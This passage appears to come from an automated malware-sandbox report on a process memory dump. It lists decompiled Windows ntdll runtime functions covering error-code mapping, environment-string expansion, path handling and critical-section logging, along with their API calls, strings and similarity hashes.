						_t53 = _t9;
						L10:
					} while (_t53 <= _t46);
					if((_t47 & 0xffff0000) == 0xc0010000) {
						goto L20;
					}
					E6D24B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t47);
					E6D24B150();
					E6D24B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
					return 0x13d;
				}
				return _t25;
			}

0x6d244515
0x6d24451d
0x00000000
0x6d2445b6
0x6d244529
0x00000000
0x6d2a08b5
0x6d24452f
0x6d244537
0x6d244543
0x6d2a08c1
0x6d2a08c9
0x6d2a08d6
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a08c9
0x6d244549
0x6d244555
0x6d2445ba
0x6d2445ba
0x6d244557
0x6d244559
0x6d24455e
0x6d244563
0x6d244565
0x6d24456c
0x6d244570
0x6d244583
0x6d244583
0x00000000
0x6d244583
0x6d24457c
0x6d244597
0x6d24459f
0x00000000
0x6d2a092f
0x00000000
0x6d2445a7
0x6d24457e
0x6d24457e
0x6d244586
0x6d244586
0x6d2a08ea
0x00000000
0x00000000
0x6d2a08f2
0x6d2a08fc
0x6d2a0909
0x00000000
0x6d2a090f
0x6d2445b3

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6D2B3AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6D2A08F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6D2B3AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6D2A08FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6D2A0909

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6D2A0904
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6D2A08ED
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6D2A08F7

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: c5fb4c1ab2760b43754a0101a1717221e267b09e3c77a17c9c17e421821e06d6
Instruction ID: ab93d577842cfdcf6f91e5b6acf5708633fd273d09cc333065677f7aa26305c1
Opcode Fuzzy Hash: c5fb4c1ab2760b43754a0101a1717221e267b09e3c77a17c9c17e421821e06d6
Instruction Fuzzy Hash: 94217833AF801F4AEF1D4F2DD880B7A7265E759305F00C226FE10EA284DB98C891C2A5

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D3F4D, Relevance: 9.1, APIs: 6, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6D2D3F4D(void* __ebx, signed short* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t37;
				void* _t38;
				signed short _t39;
				void* _t45;
				signed short _t46;
				signed short _t56;
				signed short* _t59;
				void* _t60;
				signed short _t62;
				signed int _t63;
				signed short* _t69;
				signed short _t71;
				signed short* _t73;
				signed short* _t74;
				void* _t75;

				_push(0x1c);
				_push(0x6d320890);
				E6D29D08C(__ebx, __edi, __esi);
				_t59 = __edx;
				 *(_t75 - 0x1c) = 0xc00000e5;
				if(__edx != 0) {
					_t69 =  *(_t75 + 8);
					__eflags = _t69;
					if(_t69 == 0) {
						goto L1;
					} else {
						__eflags = __edx - _t69;
						if(__edx == _t69) {
							goto L1;
						} else {
							__eflags =  *__edx;
							if( *__edx != 0) {
								 *((intOrPtr*)(_t75 - 0x28)) = 0;
								 *((intOrPtr*)(_t75 - 0x24)) = 0;
								L6D25EEF0(0x6d3379a0);
								 *((intOrPtr*)(_t75 - 4)) = 0;
								_t71 = E6D2862C0(_t60, __eflags, 0, _t59, _t75 - 0x28, _t75 - 0x20);
								 *(_t75 - 0x1c) = _t71;
								__eflags = _t71;
								if(_t71 >= 0) {
									L15:
									_t37 =  *((intOrPtr*)(_t75 - 0x20));
									__eflags = _t37 - 0xfffe;
									if(_t37 <= 0xfffe) {
										_t38 = _t37 + 4;
										__eflags = _t38 - 0xfffe;
										if(_t38 <= 0xfffe) {
											_t73 =  &(_t69[4]);
											__eflags = _t73;
											if(_t73 == 0) {
												L21:
												_t39 = E6D27D690(0, _t73, _t38);
												__eflags = _t39;
												if(_t39 >= 0) {
													goto L23;
												} else {
													_t71 = 0xc0000017;
												}
											} else {
												__eflags = _t38 - _t69[8];
												if(_t38 <= _t69[8]) {
													L23:
													_t69[2] =  *_t73;
													_t69[1] = _t69[8];
													_t71 = 0;
													__eflags = 0;
												} else {
													goto L21;
												}
											}
										} else {
											_t71 = 0xc0000106;
										}
										 *(_t75 - 0x1c) = _t71;
										__eflags = _t71;
										if(__eflags >= 0) {
											_t71 = E6D2862C0(0xfffe, __eflags, 0, _t59, _t69, 0);
											 *(_t75 - 0x1c) = _t71;
											__eflags = _t71;
											if(_t71 >= 0) {
												_t71 = 0;
												__eflags = 0;
												goto L27;
											}
										}
									} else {
										_t71 = 0xc0000106;
										L27:
										 *(_t75 - 0x1c) = _t71;
									}
								} else {
									__eflags = _t71 - 0xc0000023;
									if(_t71 == 0xc0000023) {
										goto L15;
									}
								}
								 *((intOrPtr*)(_t75 - 4)) = 0xfffffffe;
								E6D2D40C7();
							} else {
								 *_t69 = 0;
								_t45 = ( *__edx & 0x0000ffff) + 2;
								__eflags = _t45 - 0xfffe;
								if(_t45 <= 0xfffe) {
									_t74 =  &(_t69[4]);
									__eflags = _t74;
									if(_t74 == 0) {
										L10:
										_t46 = E6D27D690(0, _t74, _t45);
										__eflags = _t46;
										if(_t46 >= 0) {
											goto L12;
										} else {
											_t71 = 0xc0000017;
										}
									} else {
										__eflags = _t45 - _t69[8];
										if(_t45 <= _t69[8]) {
											L12:
											_t62 =  *_t74;
											_t69[2] = _t62;
											memmove(_t62 + (( *_t69 & 0x0000ffff) >> 1) * 2, _t59[2],  *_t59 & 0x0000ffff);
											_t63 =  *_t69 & 0x0000ffff;
											_t69[1] =  *_t59 + 2 + _t63;
											_t56 =  *_t59 + _t63;
											 *_t69 = _t56;
											 *((short*)(_t69[2] + ((_t56 & 0x0000ffff) >> 1) * 2)) = 0;
											_t71 = 0;
										} else {
											goto L10;
										}
									}
								} else {
									_t71 = 0xc0000106;
								}
							}
						}
					}
				} else {
					L1:
					_t71 = 0xc000000d;
				}
				return E6D29D0D1(_t71);
			}

0x6d2d3f4d
0x6d2d3f4f
0x6d2d3f54
0x6d2d3f59
0x6d2d3f5b
0x6d2d3f64
0x6d2d3f75
0x6d2d3f78
0x6d2d3f7a
0x00000000
0x6d2d3f7c
0x6d2d3f7c
0x6d2d3f7e
0x00000000
0x6d2d3f80
0x6d2d3f84
0x6d2d3f87
0x6d2d4010
0x6d2d4013
0x6d2d401b
0x6d2d4020
0x6d2d4032
0x6d2d4034
0x6d2d4037
0x6d2d4039
0x6d2d4043
0x6d2d4043
0x6d2d404b
0x6d2d404d
0x6d2d4056
0x6d2d4059
0x6d2d405b
0x6d2d4064
0x6d2d4067
0x6d2d4069
0x6d2d4070
0x6d2d4074
0x6d2d4079
0x6d2d407b
0x00000000
0x6d2d407d
0x6d2d407d
0x6d2d407d
0x6d2d406b
0x6d2d406b
0x6d2d406e
0x6d2d4084
0x6d2d4086
0x6d2d408d
0x6d2d4091
0x6d2d4091
0x00000000
0x00000000
0x00000000
0x6d2d406e
0x6d2d405d
0x6d2d405d
0x6d2d405d
0x6d2d4093
0x6d2d4096
0x6d2d4098
0x6d2d40a5
0x6d2d40a7
0x6d2d40aa
0x6d2d40ac
0x6d2d40ae
0x6d2d40ae
0x00000000
0x6d2d40ae
0x6d2d40ac
0x6d2d404f
0x6d2d404f
0x6d2d40b0
0x6d2d40b0
0x6d2d40b0
0x6d2d403b
0x6d2d403b
0x6d2d4041
0x00000000
0x00000000
0x6d2d4041
0x6d2d40b3
0x6d2d40ba
0x6d2d3f8d
0x6d2d3f8d
0x6d2d3f93
0x6d2d3f96
0x6d2d3f9b
0x6d2d3fa4
0x6d2d3fa7
0x6d2d3fa9
0x6d2d3fb0
0x6d2d3fb4
0x6d2d3fb9
0x6d2d3fbb
0x00000000
0x6d2d3fbd
0x6d2d3fbd
0x6d2d3fbd
0x6d2d3fab
0x6d2d3fab
0x6d2d3fae
0x6d2d3fc4
0x6d2d3fc4
0x6d2d3fc6
0x6d2d3fd9
0x6d2d3fe1
0x6d2d3fee
0x6d2d3ff5
0x6d2d3ff8
0x6d2d4005
0x6d2d4009
0x00000000
0x00000000
0x00000000
0x6d2d3fae
0x6d2d3f9d
0x6d2d3f9d
0x6d2d3f9d
0x6d2d3f9b
0x6d2d3f87
0x6d2d3f7e
0x6d2d3f66
0x6d2d3f66
0x6d2d3f66
0x6d2d3f66
0x6d2d3f72

APIs

RtlpEnsureBufferSize.1105(00000000,?,-00000002,6D320890,0000001C,6D2AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?), ref: 6D2D3FB4
memmove.1105(00000000,00000000,00000000,00000000,?,-00000002,6D320890,0000001C,6D2AD659,00020000,00000000,?,?,00000003,00000000,00000002), ref: 6D2D3FD9
RtlEnterCriticalSection.1105(6D3379A0,6D320890,0000001C,6D2AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6D2D401B
RtlExpandEnvironmentStrings_U.1105(00000000,?,00000000,?,6D320890,0000001C,6D2AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040), ref: 6D2D402D
RtlpEnsureBufferSize.1105(00000000,?,?,00000000,?,00000000,?,6D320890,0000001C,6D2AD659,00020000,00000000,?,?,00000003,00000000), ref: 6D2D4074
RtlExpandEnvironmentStrings_U.1105(00000000,?,?,00000000,00000000,?,?,00000000,?,00000000,?,6D320890,0000001C,6D2AD659,00020000,00000000), ref: 6D2D40A0

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureEnvironmentExpandRtlpSizeStrings_$CriticalEnterSectionmemmove
String ID:
API String ID: 1067925741-0
Opcode ID: f6b52ae194e4f0599abfef098f8ed1c4af6517172e75f1078d81529601ccb80c
Instruction ID: 7a94ee4d5aab16429b64ecb548d03564ae35b50709723c8097097205ccbe9ac3
Opcode Fuzzy Hash: f6b52ae194e4f0599abfef098f8ed1c4af6517172e75f1078d81529601ccb80c
Instruction Fuzzy Hash: 6341E471D8462FDAD764DF59C880BAAB7B4FF08B05F124126E914EB240E3349C52CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6D27FE34, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
libraryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D27FE34(intOrPtr __ecx, WCHAR* __edx, void* __eflags, unsigned int* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				unsigned int _v728;
				short* _v732;
				void* _v736;
				char _v740;
				unsigned int _v744;
				intOrPtr _v748;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t44;
				char* _t46;
				unsigned int _t49;
				unsigned int* _t53;
				void* _t54;
				void* _t59;
				intOrPtr _t61;
				intOrPtr _t66;
				void* _t67;
				char* _t68;
				WCHAR* _t70;
				void* _t71;
				intOrPtr* _t72;
				signed int _t74;
				unsigned int _t77;
				signed int _t78;
				signed int _t80;

				_t62 = __edx;
				_t80 = (_t78 & 0xfffffff8) - 0x2dc;
				_v8 =  *0x6d33d360 ^ _t80;
				_t53 = _a4;
				_v724 = _a8;
				_t66 = __ecx;
				_v720 = __ecx;
				_t70 = __edx;
				_v728 = 0;
				if(E6D27FF9C() != 0) {
					_t37 = 0xc0000361;
					L11:
					_pop(_t67);
					_pop(_t71);
					_pop(_t54);
					return E6D28B640(_t37, _t54, _v8 ^ _t80, _t62, _t67, _t71);
				}
				if(_t66 == 0 || _t70 == 0 || _t53 == 0) {
					_t37 = 0xc000000d;
					goto L11;
				} else {
					_v736 = 0x2be0000;
					_v732 =  &_v716;
					if(RtlAppendUnicodeToString( &_v736, _t70) < 0) {
						goto L11;
					}
					E6D25A8C0( &_v744);
					_t62 =  &_v740;
					_t68 = E6D27FF2F(_v744,  &_v740);
					if(_t68 < 0) {
						L10:
						_t37 = _t68;
						goto L11;
					}
					_t72 = _v736;
					_t15 = _t72 + 2; // 0x2be0002
					_t59 = _t15;
					do {
						_t44 =  *_t72;
						_t72 = _t72 + 2;
					} while (_t44 != 0);
					_v744 =  *_t53;
					_t74 = _t72 - _t59 >> 1;
					_t46 = E6D2576FE(_v728,  &_v744, _v732);
					_t61 = _v748;
					_t68 = _t46;
					_t62 = 0xc0000023;
					if(_t68 == 0xc0000023) {
						_t22 = _t61 + 0x10; // 0x2be0010
						 *_t53 = _t22 + _t74 * 2;
					}
					if(_t68 >= 0) {
						_t49 = _t61 + (_t74 + 8) * 2;
						_v728 = _t49;
						_t77 = _t49 >> 1;
						if(_t49 <=  *_t53) {
							E6D297110(_v732, _t77, L"\\Windows");
							E6D297110(_v732, _t77, _v736);
							_t49 = _v728;
							_t80 = _t80 + 0x18;
						} else {
							_t68 = _t62;
						}
						 *_t53 = _t49;
					}
					goto L10;
				}
			}

0x6d27fe34
0x6d27fe3c
0x6d27fe49
0x6d27fe54
0x6d27fe59
0x6d27fe5d
0x6d27fe61
0x6d27fe65
0x6d27fe67
0x6d27fe72
0x6d2bc0f0
0x6d27ff18
0x6d27ff1f
0x6d27ff20
0x6d27ff21
0x6d27ff2c
0x6d27ff2c
0x6d27fe7a
0x6d2bc14b
0x00000000
0x6d27fe90
0x6d27fe94
0x6d27fe9c
0x6d27fead
0x00000000
0x00000000
0x6d27feb4
0x6d27febd
0x6d27fec6
0x6d27feca
0x6d27ff16
0x6d27ff16
0x00000000
0x6d27ff16
0x6d27fecc
0x6d27fed2
0x6d27fed2
0x6d27fed5
0x6d27fed5
0x6d27fed8
0x6d27fedb
0x6d27feec
0x6d27fef4
0x6d27fef6
0x6d27fefb
0x6d27feff
0x6d27ff01
0x6d27ff08
0x6d2bc0fa
0x6d2bc100
0x6d2bc100
0x6d27ff10
0x6d2bc10a
0x6d2bc10f
0x6d2bc113
0x6d2bc117
0x6d2bc127
0x6d2bc138
0x6d2bc13d
0x6d2bc141
0x6d2bc119
0x6d2bc119
0x6d2bc119
0x6d2bc144
0x6d2bc144
0x00000000
0x6d27ff10

APIs

RtlAppendUnicodeToString.1105(02BE0000,?), ref: 6D27FEA6

Part of subcall function 6D25A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6D25A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6D25A9E2

LdrStandardizeSystemPath.1105(02BE0000,02BE0000,?), ref: 6D27FEB4

Part of subcall function 6D25A8C0: RtlGetNtSystemRoot.1105(?,?), ref: 6D25A8F0
Part of subcall function 6D25A8C0: RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6D25A8FD
Part of subcall function 6D25A8C0: RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6D25A915
Part of subcall function 6D25A8C0: RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6D25A924

Part of subcall function 6D27FF2F: RtlGetNtSystemRoot.1105(?,?,?,?,?,6D27FEC6,02BE0000,02BE0000,?), ref: 6D27FF3C
Part of subcall function 6D27FF2F: _wcsnicmp.1105(?,00000000,-00000002,?,?,?,?,?,6D27FEC6,02BE0000,02BE0000,?), ref: 6D27FF6E

Strings

\Windows, xrefs: 6D2BC11D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$Root$PathPrefixStandardize_wcsnicmpmemmove
String ID: \Windows
API String ID: 1616562977-3600636569
Opcode ID: 0f9d70a042add642436f445d992a2fd2a291be62f3d3f530a5ecb6360f367fa5
Instruction ID: 51342cf3e4ce3c50f416d9d23d4ac424d92668038c9efe3fe45a3d84e7023e8a
Opcode Fuzzy Hash: 0f9d70a042add642436f445d992a2fd2a291be62f3d3f530a5ecb6360f367fa5
Instruction Fuzzy Hash: 5A31A63295C31A9FC721CF29C480A5BB7E5BFC9358F05892DE9A897240EB30D905CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D2DFDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6D2DFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E6D28CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E6D2D5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E6D2D5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x6d2dfdda
0x6d2dfde2
0x6d2dfde5
0x6d2dfdec
0x6d2dfdfa
0x6d2dfdff
0x6d2dfe0a
0x6d2dfe0f
0x6d2dfe17
0x6d2dfe1e
0x6d2dfe19
0x6d2dfe19
0x6d2dfe19
0x6d2dfe20
0x6d2dfe21
0x6d2dfe22
0x6d2dfe25
0x6d2dfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6D29FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6D2DFDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6D29FA1C,00000000), ref: 6D2DFE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6D2DFE34

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6D2DFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6D2DFE01

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: d5dd3927c515efc8351ee86ec3affe9c19c98dfe8c9358152abc7c776b07a164
Instruction ID: 7698699f5630a22e8ebe81bcb20e131f87f7a126c1404a2ea2c6da552039e666
Opcode Fuzzy Hash: d5dd3927c515efc8351ee86ec3affe9c19c98dfe8c9358152abc7c776b07a164
Instruction Fuzzy Hash: F3F0F672184145BFE6200A45DC01F33BB5AEB45730F268314F728561D1DA62F86096F4

Uniqueness

Uniqueness Score: -1.00%

Function 6D263690, Relevance: 7.9, APIs: 5, Instructions: 359
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6D263690(signed int _a4, signed short* _a8, unsigned int* _a12, signed int _a16) {
				signed int _v8;
				char _v72;
				signed short _v76;
				signed short _v80;
				signed int _v84;
				signed short* _v88;
				signed int _v92;
				signed short* _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				unsigned short _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t154;
				signed short _t156;
				signed short _t157;
				unsigned short _t158;
				signed short _t162;
				signed short _t166;
				signed short _t168;
				signed int _t171;
				signed short _t180;
				signed int _t191;
				signed char _t194;
				signed char _t196;
				signed short _t199;
				signed short _t200;
				signed short _t201;
				signed short _t202;
				void* _t204;
				signed short _t205;
				signed short _t206;
				unsigned int* _t207;
				signed int _t212;
				signed short _t215;
				signed short _t217;
				signed short _t219;
				signed short _t220;
				signed int _t224;
				signed int _t225;
				void* _t226;
				signed int _t227;
				void* _t228;
				signed short _t229;
				signed short* _t230;
				signed short* _t231;
				signed int _t232;
				signed short* _t233;
				signed short* _t234;
				signed int _t235;
				signed int _t236;
				signed short* _t237;
				signed short _t238;
				signed short _t239;
				short* _t240;
				signed int _t242;

				_v8 =  *0x6d33d360 ^ _t242;
				_t207 = _a12;
				_t198 = _a16;
				_v84 = _t198;
				_t237 = _a8;
				if(_t198 != 0) {
					 *_t198 = 0;
				}
				_t221 = _a4;
				if((_t221 & 0xfffffff8) != 0 || _t198 == 0) {
					_t154 = 0xc000000d;
					goto L35;
				} else {
					_t156 = 0;
					_v88 = 0xfffe;
					_v76 = 0;
					_push(_t226);
					if(_t237 != 0) {
						if(( *_t237 & 1) != 0) {
							L39:
							_t156 = 0xc000000d;
							_v76 = 0xc000000d;
						} else {
							_t13 =  &(_t237[1]); // 0xe9d07589
							_t196 =  *_t13 & 0x0000ffff;
							if((_t196 & 0x00000001) != 0) {
								goto L39;
							} else {
								_t236 =  *_t237 & 0x0000ffff;
								if(_t236 > _t196 || _t196 > _v88) {
									goto L39;
								} else {
									if(_t237[2] == 0) {
										if(_t236 != 0 || _t196 != 0) {
											goto L39;
										} else {
											goto L10;
										}
									} else {
										L10:
										_t156 = 0;
									}
								}
							}
						}
					}
					if(_t156 < 0) {
						L36:
						_t154 = _v76;
						goto L34;
					} else {
						_t157 = 0;
						_v76 = 0;
						if(_t207 != 0) {
							if(( *_t207 & 1) != 0) {
								L42:
								_t157 = 0xc000000d;
								_v76 = 0xc000000d;
							} else {
								_t194 = _t207[0] & 0x0000ffff;
								if((_t194 & 0x00000001) != 0) {
									goto L42;
								} else {
									_t235 =  *_t207 & 0x0000ffff;
									if(_t235 > _t194 || _t194 > _v88) {
										goto L42;
									} else {
										if(_t207[1] == 0) {
											if(_t235 != 0 || _t194 != 0) {
												goto L42;
											} else {
												goto L18;
											}
										} else {
											L18:
											_t157 = 0;
										}
									}
								}
							}
						}
						if(_t157 < 0) {
							goto L36;
						} else {
							_t158 =  *_t237 & 0x0000ffff;
							_t26 =  &(_t237[2]); // 0xcd3be9d0
							_t237 =  *_t26;
							_v112 = _t158;
							_t227 = _t158 >> 0x00000001 & 0x0000ffff;
							_v96 = _t207[1];
							_t212 = _t221 & 0x00000001;
							_t162 =  *_t207 >> 0x00000001 & 0x0000ffff;
							_v92 = _t227;
							_v80 = _t162;
							_v104 = _t212;
							_v88 = _t237;
							if(_t212 == 0) {
								_v100 = 1;
							} else {
								_v100 = 0xffffffff;
								_t162 = _v80;
								_t237 =  &(( &(_t237[_t227 & 0x0000ffff]))[0xffffffffffffffff]);
								_v88 = _t237;
							}
							if((_t221 & 0x00000004) != 0) {
								if(_t162 > 0x20) {
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t166 = E6D2E2EF0( *_t237 & 0x0000ffff);
											_t215 = 0;
											_t221 = 0;
											_v108 = _t166 & 0x0000ffff;
											_t168 = _v80;
											_v76 = 0;
											if(_a4 == 0) {
												if(0 < _t168) {
													_t200 = _v80;
													_t230 = _v96;
													_t238 = _v76;
													while(_v108 != E6D2E2EF0( *(_t230 + (_t238 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t238 = _t238 + 1;
														if(_t238 < _t200) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t238;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L58;
												} else {
													goto L83;
												}
											} else {
												if(0 < _t168) {
													_t231 = _v96;
													_t199 = _t168;
													_t239 = 0;
													while(_v108 != E6D2E2EF0( *(_t231 + (_t239 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t239 = _t239 + 1;
														if(_t239 < _t199) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t239;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L83;
												} else {
													goto L58;
												}
											}
											goto L110;
											L83:
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
											_v88 = _t237;
										} while (_t227 != 0);
									}
								} else {
									if(0 < _t162) {
										_t240 =  &_v72;
										_t232 = _t162 & 0x0000ffff;
										_t204 = _v96 - _t240;
										do {
											 *_t240 = E6D2E2EF0( *(_t204 + _t240) & 0x0000ffff);
											_t240 = _t240 + 2;
											_t232 = _t232 - 1;
										} while (_t232 != 0);
										_t237 = _v88;
										_t227 = _v92;
										_t198 = _v84;
										_t221 = _a4;
									}
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t180 = E6D2E2EF0( *_t237 & 0x0000ffff);
											_t217 = _v80;
											_t221 = 0;
											_v76 = _t180 & 0x0000ffff;
											if(_a4 == 0) {
												if(0 < _t217) {
													_t202 = _v76;
													while(_t202 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L58;
												} else {
													goto L65;
												}
											} else {
												if(0 < _t217) {
													_t201 = _v76;
													while(_t201 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L65;
												} else {
													L58:
													_t212 = _v104;
													goto L30;
												}
											}
											goto L110;
											L65:
											_t227 = _t227 + 0xffff;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
								}
								goto L29;
							} else {
								if(_t162 != 1) {
									if(_t227 != 0) {
										_t221 = _t221 & 0x00000002;
										_a4 = _t221;
										do {
											_t198 = _v84;
											_v76 = 0;
											if(_t221 == 0) {
												_v108 = 0;
												if(_v108 < _t162) {
													_t220 = _v80;
													_t233 = _v96;
													_t205 = _v76;
													_t224 =  *_t237 & 0x0000ffff;
													while(_t224 !=  *((intOrPtr*)(_t233 + (_t205 & 0x0000ffff) * 2))) {
														_t205 = _t205 + 1;
														if(_t205 < _t220) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t205;
													_t198 = _v84;
												}
												if(_v76 != _t162) {
													goto L30;
												} else {
													goto L106;
												}
											} else {
												_v108 = 0;
												if(_v108 < _t162) {
													_t219 = _v80;
													_t234 = _v96;
													_t206 = _v76;
													_t225 =  *_t237 & 0x0000ffff;
													while(_t225 !=  *((intOrPtr*)(_t234 + (_t206 & 0x0000ffff) * 2))) {
														_t206 = _t206 + 1;
														if(_t206 < _t219) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t206;
													_t198 = _v84;
												}
												if(_v76 == _t162) {
													goto L30;
												} else {
													goto L106;
												}
											}
											goto L110;
											L106:
											_t198 = _v100;
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
									goto L29;
								} else {
									_t191 =  *_v96 & 0x0000ffff;
									if((_t221 & 0x00000002) != 0) {
										if(_t227 == 0) {
											goto L29;
										} else {
											_t221 = _v100;
